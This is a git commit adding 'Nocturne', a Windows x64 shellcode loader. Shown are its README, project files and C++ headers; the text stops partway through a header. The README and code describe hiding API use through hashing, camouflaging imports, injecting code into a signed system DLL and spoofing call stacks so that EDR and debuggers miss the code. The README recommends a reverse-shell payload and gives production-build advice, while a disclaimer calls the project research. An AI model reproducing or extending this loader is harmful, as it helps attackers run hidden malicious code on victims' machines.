commit 200d69b3b146e076980df8e63b5ac06f1b8e60b7 Author: Xec412 Date: Sun Jul 26 18:42:28 2026 +0300 Initial commit diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..076590a --- /dev/null +++ b/.gitignore @@ -0,0 +1,30 @@ +# Build outputs +Debug/ +Release/ +x64/ +*.obj +*.exe +*.pdb +*.ilk +*.log +*.tlog/ + +# Visual Studio +.vs/ +*.user +*.suo +*.ncb +*.sdf +*.opensdf +*.VC.db +*.VC.opendb +ipch/ + +# Binaries +*.dll +*.lib +*.exp + +# Shellcode / payload artifacts +*.bin +*.raw diff --git a/Nocturne.slnx b/Nocturne.slnx new file mode 100644 index 0000000..62116a7 --- /dev/null +++ b/Nocturne.slnx @@ -0,0 +1,7 @@ + + + + + + + diff --git a/Nocturne.vcxproj b/Nocturne.vcxproj new file mode 100644 index 0000000..0667485 --- /dev/null +++ b/Nocturne.vcxproj @@ -0,0 +1,193 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 18.0 + Win32Proj + {5713291f-3c16-42a4-b5ed-ba1d37cc6bfc} + Nocturne + 10.0 + + + + Application + true + v145 + Unicode + + + Application + false + v145 + true + Unicode + + + Application + true + v145 + Unicode + + + Application + false + v145 + true + Unicode + + + + + + + + + + + + + + + + + + + + + + false + + + false + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + stdcpp20 + + + Console + true + + + true + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + stdcpp20 + + + Console + true + + + true + + + + + Level3 + false + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + stdcpp20 + Default + MultiThreaded + false + false + $(ProjectDir)include;%(AdditionalIncludeDirectories) + + + Console + false + true + main + + + true + + + + + Level3 + true + true + false + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + stdcpp20 + false + false + MultiThreaded + false + $(ProjectDir)include;%(AdditionalIncludeDirectories) + + + Console + false + true + main + + + true + + + + + + + + + + + + + + + + + + + + + + + + + Document + + + + + + + + + \ No newline at end of file diff --git a/Nocturne.vcxproj.filters b/Nocturne.vcxproj.filters new file mode 100644 index 0000000..6717d14 --- /dev/null +++ b/Nocturne.vcxproj.filters @@ -0,0 +1,80 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + \ No newline at end of file diff --git a/README.md b/README.md new file mode 100644 index 0000000..9d59b31 --- /dev/null +++ b/README.md @@ -0,0 +1,174 @@ +
+ +# 🌙 Nocturne + +### CET-Compatible Stack Spoofing Loader + +A Windows x64 loader that achieves **legitimate call stacks** through runtime function table manipulation, code cave injection, and inverted function table collapse — fully compatible with Intel CET Shadow Stacks. + +[![Windows](https://img.shields.io/badge/Platform-Windows%20x64-blue?style=flat-square&logo=windows)](https://microsoft.com) +[![C++20](https://img.shields.io/badge/Language-C++20-purple?style=flat-square&logo=cplusplus)](https://isocpp.org) +[![MASM](https://img.shields.io/badge/Assembly-MASM%20x64-red?style=flat-square)](https://learn.microsoft.com/en-us/cpp/assembler/masm/masm-for-x64-ml64-exe) +[![License](https://img.shields.io/badge/License-MIT-green?style=flat-square)](LICENSE) + +
+ +--- + +## Overview + +Nocturne is a research-oriented Windows x64 shellcode loader built around a single goal: producing **clean, fully backed call stacks** that are indistinguishable from legitimate Windows threads — even under manual forensic inspection with WinDbg. + +Modern EDR solutions and manual analysts rely on call stack integrity as a primary detection signal. Unbacked return addresses, misaligned frames, and dynamic function table artifacts are all strong indicators of malicious activity. Traditional stack spoofing techniques address some of these, but they break under **Intel CET (Control-flow Enforcement Technology)** shadow stack validation, where the hardware maintains a separate, read-only copy of return addresses that must match the software stack. + +Nocturne solves this by taking a fundamentally different approach: instead of fabricating fake frames, it **injects code into a legitimate module's `.text` section** and registers a `RUNTIME_FUNCTION` entry with **real donor unwind metadata** from that module. The Windows unwinder then walks the stack using genuine unwind info, producing frames that point back to a signed, backed DLL (`windows.storage.dll`). Because the code physically resides within the module's address range and the unwind chain is structurally valid, both software-based stack walks and CET hardware validation see a legitimate call chain. + +The loader is built entirely **CRT-free** (`/NODEFAULTLIB`) with a custom entry point, custom `memset`/`memcpy` intrinsics, and `HeapAlloc`/`HeapFree` operator overrides — no C runtime dependency in the final binary. All Win32 and NT API resolution happens at runtime through **compile-time DJB2 hashing** (`constexpr`): the hash values are computed during compilation and embedded as immediate constants, while the actual function pointers are resolved at runtime by walking PEB loader data structures. This means zero API name strings exist in the binary, and the IAT contains only benign camouflage imports. + +> [!IMPORTANT] +> The payload exits immediately after execution, so short-lived shellcode (e.g. `calc.exe` launcher) will terminate before you can inspect the call stack. To properly analyze the spoofed stack, use a **persistent payload** such as an `msfvenom` reverse shell or a long-lived beacon — anything that keeps the thread alive long enough for manual inspection with WinDbg or Process Hacker. + +--- + +## Techniques & Why They Were Chosen + +### 🔧 API Hash Resolution (DJB2) + +All Win32/NT APIs are resolved at runtime by walking the PEB loader data structures and matching export names against precomputed DJB2 hashes. The hashes are generated at **compile time** using `constexpr` evaluation — the compiler computes each hash and embeds it as an immediate constant in the binary. At runtime, the resolver iterates the target module's export table and compares each export name's hash against the embedded constant. This eliminates IAT entries that would otherwise reveal the loader's true capabilities to static analysis tools, and ensures no API name strings are present in the binary. + +### 🎭 IAT Camouflage + +The Import Address Table is populated exclusively with **benign USER32.dll imports** (`MessageBoxA`, `RegisterClassW`, `IsWindowVisible`, etc.) placed inside an unreachable code branch. Static analysis tools see a harmless GUI application rather than a loader. + +
+IAT Camouflage — Only benign imports visible +
+Clean IAT — only benign USER32.dll imports and heap management functions +
+ +### 🛡️ CET-Compatible Stack Spoofing (RTFI + JIT) + +This is Nocturne's core technique. The stack spoofing pipeline: + +1. **Sacrificial DLL Loading** — `windows.storage.dll` is loaded as the donor module +2. **Code Cave Injection** — Payload + ShadowGate stub are injected into `.text` section slack space +3. **Dynamic Function Table Registration** — `RtlAddFunctionTable` registers a `RUNTIME_FUNCTION` entry pointing to **donor unwind info**, making the injected code appear as a legitimate function within the module +4. **Inverted Function Table Collapse** — The internal `RtlpInvertedFunctionTable` entry for the donor module is collapsed so the dynamic table takes priority during unwinding +5. **Cache Invalidation** — Both the function table cache and function entry cache are flushed to force the unwinder through the manipulated lookup path +6. **Type=0 WinDbg Bypass** — The dynamic function table entry type is patched from `RF_CALLBACK` to `RF_SORTED`, preventing WinDbg from resolving it as dynamic +7. **`.pdata` Suppression** — The donor module's `.pdata` section protection is set to `PAGE_NOACCESS`, forcing all unwind lookups through the controlled dynamic table + +The result: every frame in the call stack resolves to `windows_storage!` — a legitimate, backed module. + +
+Process Hacker — Clean call stack with windows.storage frames +
+Process Hacker call stack — all frames resolve to windows.storage.dll +
+ +
+ +
+WinDbg — Spoofed stack trace +
+WinDbg stack trace showing legitimate windows_storage frames +
+ +### 🔍 WinDbg Bypass Verification + +The dynamic function table entry is invisible to WinDbg's forensic commands. Type patching and `.pdata` suppression ensure that debugger analysis cannot distinguish the spoofed frames from real ones. + +
+WinDbg Bypass — Dynamic table hidden from debugger +
+WinDbg bypass — .fnent shows donor unwind info, no dynamic table artifacts +
+ +### 🔒 CRT-Free Build + +The entire project compiles with `/NODEFAULTLIB` and a custom entry point. Memory management uses `HeapAlloc`/`HeapFree` through operator overrides. `memset` and `memcpy` are implemented as custom intrinsics. This eliminates CRT dependencies that would inflate the binary and add unnecessary attack surface. + +### 🐚 Payload Execution + +Shellcode is XOR-decrypted at runtime and executed through the **ShadowGate** assembly stub, which sets up the spoofed stack frame before transferring control. + +
+Reverse Shell — Payload executing with spoofed stack +
+Reverse shell established with fully spoofed call stack +
+ +--- + +## Build + +Open `Nocturne.sln` in Visual Studio and build for **x64 Release** or **x64 Debug**. + +| Configuration | Description | +|---|---| +| **Debug x64** | Console output enabled, `DEBUG` preprocessor defined | +| **Release x64** | Silent execution, no debug output | + +> Both configurations use `/NODEFAULTLIB`, static CRT (`/MT`), no buffer security checks, and no C++ exceptions. + +> [!NOTE] +> For production use, make sure the `DEBUG` preprocessor definition is **removed** from your build configuration. The Debug x64 preset defines it by default — switch to Release x64 or manually remove `_DEBUG` and `DEBUG` from **Project Properties → C/C++ → Preprocessor Definitions** to disable all console output. + +--- + +## Project Structure + +``` +Nocturne/ +├── include/ +│ ├── Common.h # Global API struct & function declarations +│ ├── IatCamouflage.h # IAT camouflage with benign imports +│ ├── InitializeAPI.h # Runtime API resolution +│ ├── Primitives.h # Hash functions & utility macros +│ ├── Structs.h # NT structures & custom types +│ └── Debug.h # Debug console & print macros +├── src/ +│ ├── Main.cpp # Entry point & orchestration +│ ├── StackSpoofing.cpp # Stack spoofing pipeline +│ ├── Unwind.cpp # Unwind info parsing & manipulation +│ ├── Context.cpp # Spoof context tracking & rollback +│ ├── Resolver.cpp # PEB walking & hash-based API resolution +│ ├── StackUtils.cpp # Stack origin & cookie detection +│ ├── Proxy.cpp # Thread pool proxied API calls +│ ├── Intrinsic.cpp # Custom memset/memcpy +│ ├── Debug.cpp # Debug console allocation +│ ├── ShadowGate.asm # Payload execution stub +│ ├── StackSearch.asm # Stack scanning primitives +│ ├── SetRegister.asm # Register manipulation +│ └── ApiStub.asm # Indirect syscall stubs +└── docs/ + └── screenshots/ +``` + +--- + +## References + +- [klezVirus](https://github.com/klezVirus) — Original author of the BYOUD technique that Nocturne's stack spoofing is built upon +- [klezVirus/BYOUD](https://github.com/klezVirus/BYOUD) — Bring Your Own Unwind Data — the foundational research behind runtime function table manipulation +- [BYOUD Blog Post](https://klezvirus.github.io/posts/Byoud/) — Detailed technical writeup of the BYOUD technique +- [MalDev Academy](https://maldevacademy.com/) — Malware development techniques and methodology +- [Microsoft x64 Exception Handling](https://learn.microsoft.com/en-us/cpp/build/exception-handling-x64?view=msvc-170) — Official documentation on x64 unwind info, `RUNTIME_FUNCTION`, and the exception handling ABI +- [Stack Spoofing — Black Hat Talk](https://www.youtube.com/watch?v=tOVcScKuJvU&t=847s) — Presentation on advanced stack spoofing techniques +- [Hiding in Plain Sight](https://0xdarkvortex.dev/hiding-in-plainsight/) — Thread stack spoofing and call stack manipulation research + +--- + +## Disclaimer + +This project is intended for **authorized security research and educational purposes only**. The author is not responsible for any misuse. Always obtain proper authorization before testing on systems you do not own. + +--- + +
+ +If you find this project useful or interesting, consider leaving a ⭐ + +Your support motivates further research and development. + +
diff --git a/docs/screenshots/BypassWinDbg.png b/docs/screenshots/BypassWinDbg.png new file mode 100644 index 0000000..7bb91f7 Binary files /dev/null and b/docs/screenshots/BypassWinDbg.png differ diff --git a/docs/screenshots/IatCamouflage.png b/docs/screenshots/IatCamouflage.png new file mode 100644 index 0000000..4b0eb8d Binary files /dev/null and b/docs/screenshots/IatCamouflage.png differ diff --git a/docs/screenshots/ProcessHacker.png b/docs/screenshots/ProcessHacker.png new file mode 100644 index 0000000..d797e5e Binary files /dev/null and b/docs/screenshots/ProcessHacker.png differ diff --git a/docs/screenshots/ReverseShell.png b/docs/screenshots/ReverseShell.png new file mode 100644 index 0000000..74f6043 Binary files /dev/null and b/docs/screenshots/ReverseShell.png differ diff --git a/docs/screenshots/WinDbg.png b/docs/screenshots/WinDbg.png new file mode 100644 index 0000000..03fd599 Binary files /dev/null and b/docs/screenshots/WinDbg.png differ diff --git a/include/Common.h b/include/Common.h new file mode 100644 index 0000000..f0c30b8 --- /dev/null +++ b/include/Common.h @@ -0,0 +1,355 @@ +/* Common.h */ +#pragma once + +/* HEADER GUARD */ +#ifndef COMMON_H +#define COMMON_H + +#include +#include "Structs.h" + +/*================================================ +@ WIN32_API Struct +================================================*/ +struct WIN32_API { + struct { + NTSTATUS(NTAPI* RtlQueueWorkItem)( + _In_ WORKERCALLBACKFUNC Function, + _In_opt_ PVOID Context, + _In_ ULONG Flags + ); + + NTSTATUS(NTAPI* NtQueryInformationProcess)( + _In_ HANDLE ProcessHandle, + _In_ PROCESSINFOCLASS ProcessInformationClass, + _Out_ PVOID ProcessInformation, + _In_ ULONG ProcessInformationLength, + _Out_opt_ PULONG ReturnLength + ); + + NTSTATUS(NTAPI* NtWaitForSingleObject)( + _In_ HANDLE Handle, + _In_ BOOLEAN Alertable, + _In_opt_ PLARGE_INTEGER Timeout + ); + + NTSTATUS(NTAPI* NtCreateEvent)( + _Out_ PHANDLE EventHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ EVENT_TYPE EventType, + _In_ BOOLEAN InitialState + ); + + NTSTATUS(NTAPI* NtSetEvent)( + _In_ HANDLE EventHandle, + _Out_opt_ PLONG PreviousState + ); + + BOOLEAN(NTAPI* RtlAddFunctionTable)( + _In_ PRUNTIME_FUNCTION FunctionTable, + _In_ ULONG EntryCount, + _In_ ULONG64 BaseAddress + ); + + BOOLEAN(NTAPI* RtlDeleteFunctionTable)( + _In_ PRUNTIME_FUNCTION FunctionTable + ); + + VOID(NTAPI* RtlAcquireSRWLockExclusive)( + _Inout_ PRTL_SRWLOCK SRWLock + ); + + VOID(NTAPI* RtlReleaseSRWLockExclusive)( + _Inout_ PRTL_SRWLOCK SRWLock + ); + + PEXCEPTION_ROUTINE(NTAPI* RtlVirtualUnwind)( + _In_ DWORD HandlerType, + _In_ DWORD64 ImageBase, + _In_ DWORD64 ControlPc, + _In_ PRUNTIME_FUNCTION FunctionEntry, + _Inout_ PCONTEXT ContextRecord, + _Out_ PVOID* HandlerData, + _Out_ PDWORD64 EstablisherFrame, + _Inout_opt_ PKNONVOLATILE_CONTEXT_POINTERS ContextPointers + ); + + PRUNTIME_FUNCTION(NTAPI* RtlLookupFunctionEntry)( + _In_ DWORD64 ControlPc, + _Out_ PDWORD64 ImageBase, + _Out_ PUNWIND_HISTORY_TABLE HistoryTable + ); + + } Nt; + + struct { + DWORD(WINAPI* WaitForSingleObject)( + _In_ HANDLE hHandle, + _In_ DWORD dwMilliseconds + ); + + HMODULE(WINAPI* LoadLibraryW)( + _In_ LPCWSTR lpLibName + ); + + HMODULE(WINAPI* GetModuleHandleW)( + _In_opt_ LPCWSTR lpModuleName + ); + + } K32; + + struct { + LSTATUS(WINAPI* RegOpenKeyExW)( + _In_ HKEY hKey, + _In_opt_ LPCWSTR lpSubKey, + _In_ DWORD ulOptions, + _In_ REGSAM samDesired, + _Out_ PHKEY phkResult + ); + + LSTATUS(WINAPI* RegQueryValueExW)( + _In_ HKEY hKey, + _In_opt_ LPCWSTR lpValueName, + LPDWORD lpReserved, + _Out_opt_ LPDWORD lpType, + _Out_opt_ LPBYTE lpData, + _Inout_opt_ LPDWORD lpcbData + ); + + LSTATUS(WINAPI* RegCloseKey) ( + _In_ HKEY hKey + ); + + PVOID SystemFunction032; + } AdvApi32; + +}; + +/* Global Object */ +inline WIN32_API g_Win32{}; + +/* External assembly functions */ +extern "C" ULONG_PTR CaptureStackPointer(); +extern "C" ULONG_PTR ScanStackForValue( + _In_ ULONG_PTR uSearchValue, + OUT PULONG_PTR puFoundAddress +); +extern "C" ULONG_PTR ShadowGate( + _In_ PSHADOWGATE_PARAMS pShadowParams +); +extern "C" ULONG_PTR ShadowGateEnd(); + +/*================================================ +@ Function Pointers +================================================*/ + +/* From Resolver.cpp */ +namespace Resolver { + PVOID LdrGetModuleByHash( + _In_ ULONG uModuleHash + ); + PVOID LdrGetSymbolByHash( + _In_ PVOID pModule, + _In_ ULONG uFunctionHash + ); + VOID ResolveSectionInfo( + _In_ PVOID pModule, + _In_ PCHAR pcSectionName, + OUT PSECTION_INFO pSectionInfo + ); + VOID ResolvePDataSectionInfo( + _In_ PVOID pModule, + OUT PSECTION_INFO pSectionInfo + ); + VOID ResolveTextSectionInfo( + _In_ PVOID pModule, + OUT PSECTION_INFO pSectionInfo + ); + PVOID ResolveExceptionDirectory( + _In_ PVOID pModule, + OUT PDWORD pdwDirSize + ); + DWORD LocateCallInstructionOffset( + _In_ ULONG_PTR uStartAddress, + _In_ DWORD dwSearchLimit + ); +} + +/* From StackUtils.cpp */ +namespace StackUtils { + ULONG_PTR ResolveThreadStackOrigin( + OUT PULONG_PTR puStackPointer + ); + BOOL DetectStackCookiePresence( + _In_ PVOID pModule + ); +} + +/* From Unwind.cpp */ +namespace Unwinder { + DWORD CalculateUnwindFrameSize( + _In_ PVOID pModule, + _In_ PVOID pUnwindInfo, + OUT PDWORD pdwTarget + ); + PRUNTIME_FUNCTION FindDonorByFrameSize( + _In_ PVOID pModule, + _In_ DWORD dwFrameSize, + _In_ BOOL bStrict, + OUT PDWORD pdwActual + ); + NTSTATUS UnlockPDataSection( + _In_ PVOID pModule + ); + NTSTATUS LockPDataSection( + _In_ PVOID pModule + ); + NTSTATUS UnlockTextSection( + _In_ PVOID pModule + ); + NTSTATUS LockTextSection( + _In_ PVOID pModule + ); + BOOL ResolveDynamicFunctionTablePtrs( + _In_ HANDLE hProcess, + OUT PULONG_PTR puHeadPtr, + OUT PULONG_PTR puSentinel + ); + PDYNAMIC_FUNCTION_TABLE LocateDynamicFunctionTableEntry( + _In_ ULONG_PTR uAddress + ); + BOOL LocateInvertedFunctionTable( + OUT PINVERTED_FUNCTION_TABLE* ppInvertedTable, + OUT PRTL_SRWLOCK* ppSrwLock + ); + BOOL ResolveLdrMrdataProtector( + OUT fnLdrProtectMrdata* pOutFnPtr + ); + BOOL CollapseInvertedTableEntry( + _In_ PVOID pModule, + OUT PULONG puOldSize + ); + BOOL ExpandInvertedTableEntry( + _In_ PVOID pModule, + _In_ ULONG ulOldSize + ); + BOOL AppendCodeToText( + _In_ PVOID pModule, + _In_ PVOID pCode, + _In_ DWORD dwCodeSize, + OUT PDWORD pdwBeginRva + ); + DWORD ResolveFunctionSize( + _In_ PVOID pModule, + _In_ PVOID pFunction + ); +} + +/* From Context.cpp */ +namespace ByoudContext { + VOID InitializeSpoofContext( + OUT PBYOUD_CONTEXT pByoudCtx, + _In_ DWORD dwTechnique, + _In_ PVOID pTarget + ); + BOOL CommitSpoofChange( + _Inout_ PBYOUD_CONTEXT pByoudCtx, + _In_ PBYOUD_CHANGE pByoudChange + ); + BOOL TrackCacheNullification( + _Inout_ PBYOUD_CONTEXT pByoudCtx, + _In_ ULONG_PTR uAddress, + _In_ DWORD dwOld + ); + BOOL TrackPDataProtection( + _Inout_ PBYOUD_CONTEXT pByoudCtx, + _In_ PVOID pModule, + _In_ PVOID pBase, + _In_ SIZE_T Size, + _In_ DWORD dwOldProtect + ); + BOOL TrackInvertedTableCollapse( + _Inout_ PBYOUD_CONTEXT pByoudCtx, + _In_ PVOID pModule, + _In_ ULONG ulOldSize + ); + BOOL TrackDynamicTableInsertion( + _Inout_ PBYOUD_CONTEXT pByoudCtx, + _In_ PRUNTIME_FUNCTION pRuntimeFunction + ); + BOOL TrackDynamicTableTypeChange( + _Inout_ PBYOUD_CONTEXT pByoudCtx, + _In_ PVOID pEntry, + _In_ DWORD dwOldType + ); + BOOL TrackShellcodeInjection( + _Inout_ PBYOUD_CONTEXT pByoudCtx, + _In_ PVOID pModule, + _In_ PVOID pAddress, + _In_ DWORD dwSize + ); + BOOL RevertAllSpoofChanges( + _Inout_ PBYOUD_CONTEXT pByoudCtx + ); +} + +/* From StackSpoofing.cpp */ +namespace StackSpoof { + BOOL FlushFunctionTableCache( + OUT PULONG_PTR puAddress, + OUT PDWORD pdwOld + ); + BOOL FlushFunctionEntryCache( + OUT PULONG_PTR puAddress, + OUT PDWORD pdwOld + ); + BOOL SuppressPDataAccess( + _In_ PVOID pModule, + OUT PDWORD pdwOldProtect + ); + BOOL RestorePDataAccess( + _In_ PVOID pModule, + _In_ DWORD dwOldProtect + ); + PSHADOWGATE_PARAMS ConstructShadowGateParams( + _In_ PVOID pFunction, + _In_ DWORD dwFrameSize, + _In_ ULONG_PTR Argc, + _In_ PULONG_PTR pArgv + ); + PSHADOWGATE_PARAMS ConstructShadowGateParamsVa( + _In_ PVOID pFunction, + _In_ DWORD dwFrameSize, + _In_ ULONG_PTR Argc, + ... + ); + BOOL RegisterSpoofedRuntimeFunction( + _Inout_ PBYOUD_CONTEXT pByoudCtx, + _In_ PVOID pModule, + _In_ DWORD dwShcOffset, + _In_ DWORD dwShcSize, + _In_ DWORD dwDesired, + OUT PDWORD pdwActual + ); + ULONG_PTR ExecuteWithSpoofedStack( + _In_ PVOID pPayload, + _In_ DWORD dwPayloadSize + ); +} + +/* From Proxy.cpp */ +namespace Proxy { + PVOID WorkItemLoadLibrary( + _In_ PWSTR LibraryName + ); + NTSTATUS WorkItemNtProtectVirtualMemory( + _In_ HANDLE ProcessHandle, + _Inout_ PVOID* BaseAddress, + _Inout_ PSIZE_T RegionSize, + _In_ ULONG NewProtection, + OUT PULONG OldProtection + ); +} + +#endif /* COMMON.H */ \ No newline at end of file diff --git a/include/IatCamouflage.h b/include/IatCamouflage.h new file mode 100644 index 0000000..85bf763 --- /dev/null +++ b/include/IatCamouflage.h @@ -0,0 +1,61 @@ +/* IatCamouflage.h */ +#pragma once + +#include +#include "Structs.h" +#include "Primitives.h" +#include "Common.h" + +/*================================================ +@ CompileTimeSeed Function +================================================*/ +int RandomCompileTimeSeed(void) { + + return '0' * -40271 + + __TIME__[7] * 1 + + __TIME__[6] * 10 + + __TIME__[4] * 60 + + __TIME__[3] * 600 + + __TIME__[1] * 3600 + + __TIME__[0] * 36000; +} + +/*================================================ +@ AllocateDummyBuffer Function +================================================*/ +PVOID AllocateDummyBuffer( + PVOID* ppAddress +) { + PVOID Address = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0xFF); + if (!Address) + return nullptr; + + *(int*)Address = RandomCompileTimeSeed() % 0xFF; + + *ppAddress = Address; + return Address; +} + +/*================================================ +@ IatCamouflage Function +================================================*/ +VOID IatCamouflage() { + + PVOID Address = nullptr; + int* X = (int*)AllocateDummyBuffer(&Address); + + if (*X > 350) { + + unsigned __int64 i = MessageBoxA(NULL, NULL, NULL, NULL); + i = SetCriticalSectionSpinCount(NULL, NULL); + i = GetWindowContextHelpId(NULL); + i = GetWindowLongPtrW(NULL, NULL); + i = RegisterClassW(NULL); + i = IsWindowVisible(NULL); + i = ConvertDefaultLocale(NULL); + i = MultiByteToWideChar(NULL, NULL, NULL, NULL, NULL, NULL); + i = IsDialogMessageW(NULL, NULL); + } + + Macro::DeletePtr(Address); +} \ No newline at end of file diff --git a/include/InitializeAPI.h b/include/InitializeAPI.h new file mode 100644 index 0000000..a10b861 --- /dev/null +++ b/include/InitializeAPI.h @@ -0,0 +1,92 @@ +/* InitializeAPI.h */ +#pragma once + +#ifndef INITIALIZEAPI_H +#define INITIALIZEAPI_H + +#include +#include "Primitives.h" +#include "Debug.h" +#include "Structs.h" +#include "Common.h" + +namespace Win32API { + + inline BOOL InitializeWin32APIs() { + + PVOID Kernel32 = nullptr; + PVOID Ntdll = nullptr; + PVOID AdvApi = nullptr; + WCHAR AdvStr[] = { L'a', L'd', L'v', L'a', L'p', L'i', L'3', L'2', L'.', L'd', L'l', L'l', L'\0' }; + +#ifdef DEBUG + DBGPRINT("[*] Initializing Win32 APIs \n"); +#endif + + if (!(Kernel32 = Resolver::LdrGetModuleByHash(Hash::ExprHashStrDjb2(L"kernel32.dll")))) { +#ifdef DEBUG + DBGPRINT("[-] LdrGetModuleByHash -> Failed To Get Kernel32 Handle - %s.%d \n", GET_FILENAME(__FILE__), __LINE__); +#endif + return FALSE; + } + + if (!(Ntdll = Resolver::LdrGetModuleByHash(Hash::ExprHashStrDjb2(L"ntdll.dll")))) { +#ifdef DEBUG + DBGPRINT("[-] LdrGetModuleByHash -> Failed To Get Ntdll Handle - %s.%d \n", GET_FILENAME(__FILE__), __LINE__); +#endif + return FALSE; + } + + g_Win32.K32.LoadLibraryW = (decltype(g_Win32.K32.LoadLibraryW))Resolver::LdrGetSymbolByHash(Kernel32, Hash::ExprHashStrDjb2("LoadLibraryW")); + g_Win32.K32.GetModuleHandleW = (decltype(g_Win32.K32.GetModuleHandleW))Resolver::LdrGetSymbolByHash(Kernel32, Hash::ExprHashStrDjb2("GetModuleHandleW")); + g_Win32.Nt.RtlQueueWorkItem = (decltype(g_Win32.Nt.RtlQueueWorkItem))Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlQueueWorkItem")); + + if (!g_Win32.K32.LoadLibraryW || !g_Win32.K32.GetModuleHandleW || !g_Win32.Nt.RtlQueueWorkItem) + return FALSE; + + if (!(AdvApi = Proxy::WorkItemLoadLibrary(AdvStr))) { +#ifdef DEBUG + DBGPRINT("[-] WorkItemLoadLibrary -> Failed To Load AdvApi - %s.%d \n", GET_FILENAME(__FILE__), __LINE__); +#endif + return FALSE; + } + + g_Win32.K32.WaitForSingleObject = (decltype(g_Win32.K32.WaitForSingleObject))Resolver::LdrGetSymbolByHash(Kernel32, Hash::ExprHashStrDjb2("WaitForSingleObject")); + + if (!g_Win32.K32.WaitForSingleObject) + return FALSE; + + g_Win32.Nt.NtCreateEvent = (decltype(g_Win32.Nt.NtCreateEvent))Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("NtCreateEvent")); + g_Win32.Nt.NtQueryInformationProcess = (decltype(g_Win32.Nt.NtQueryInformationProcess))Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("NtQueryInformationProcess")); + g_Win32.Nt.NtSetEvent = (decltype(g_Win32.Nt.NtSetEvent))Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("NtSetEvent")); + g_Win32.Nt.NtWaitForSingleObject = (decltype(g_Win32.Nt.NtWaitForSingleObject))Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("NtWaitForSingleObject")); + g_Win32.Nt.RtlAcquireSRWLockExclusive = (decltype(g_Win32.Nt.RtlAcquireSRWLockExclusive))Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlAcquireSRWLockExclusive")); + g_Win32.Nt.RtlAddFunctionTable = (decltype(g_Win32.Nt.RtlAddFunctionTable))Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlAddFunctionTable")); + g_Win32.Nt.RtlDeleteFunctionTable = (decltype(g_Win32.Nt.RtlDeleteFunctionTable))Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlDeleteFunctionTable")); + g_Win32.Nt.RtlLookupFunctionEntry = (decltype(g_Win32.Nt.RtlLookupFunctionEntry))Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlLookupFunctionEntry")); + g_Win32.Nt.RtlReleaseSRWLockExclusive = (decltype(g_Win32.Nt.RtlReleaseSRWLockExclusive))Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlReleaseSRWLockExclusive")); + g_Win32.Nt.RtlVirtualUnwind = (decltype(g_Win32.Nt.RtlVirtualUnwind))Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlVirtualUnwind")); + + if (!g_Win32.Nt.NtCreateEvent || !g_Win32.Nt.NtQueryInformationProcess || + !g_Win32.Nt.NtSetEvent || !g_Win32.Nt.RtlAcquireSRWLockExclusive || + !g_Win32.Nt.RtlAddFunctionTable || !g_Win32.Nt.RtlDeleteFunctionTable || + !g_Win32.Nt.RtlLookupFunctionEntry || !g_Win32.Nt.RtlReleaseSRWLockExclusive || + !g_Win32.Nt.RtlVirtualUnwind || !g_Win32.Nt.NtWaitForSingleObject) + return FALSE; + + g_Win32.AdvApi32.RegCloseKey = (decltype(g_Win32.AdvApi32.RegCloseKey))Resolver::LdrGetSymbolByHash(AdvApi, Hash::ExprHashStrDjb2("RegCloseKey")); + g_Win32.AdvApi32.RegOpenKeyExW = (decltype(g_Win32.AdvApi32.RegOpenKeyExW))Resolver::LdrGetSymbolByHash(AdvApi, Hash::ExprHashStrDjb2("RegOpenKeyExW")); + g_Win32.AdvApi32.RegQueryValueExW = (decltype(g_Win32.AdvApi32.RegQueryValueExW))Resolver::LdrGetSymbolByHash(AdvApi, Hash::ExprHashStrDjb2("RegQueryValueExW")); + g_Win32.AdvApi32.SystemFunction032 = (decltype(g_Win32.AdvApi32.SystemFunction032))Resolver::LdrGetSymbolByHash(AdvApi, Hash::ExprHashStrDjb2("SystemFunction032")); + + if (!g_Win32.AdvApi32.RegCloseKey || !g_Win32.AdvApi32.RegOpenKeyExW || !g_Win32.AdvApi32.RegQueryValueExW || !g_Win32.AdvApi32.SystemFunction032) + return FALSE; + +#ifdef DEBUG + DBGPRINT("[+] Success \n"); +#endif + return TRUE; + } +} + +#endif diff --git a/include/Primitives.h b/include/Primitives.h new file mode 100644 index 0000000..d7a46a8 --- /dev/null +++ b/include/Primitives.h @@ -0,0 +1,195 @@ +/* Primivites.h */ +#pragma once + +/* HEADER GUARD */ +#ifndef PRIMIVITES_H +#define PRIMIVITES_H + +#include +#include "Structs.h" + +/*================================================== +@ ExprHashStrDjb2 Function +# Hashes the provided string via djb2 algorithm +# at compile 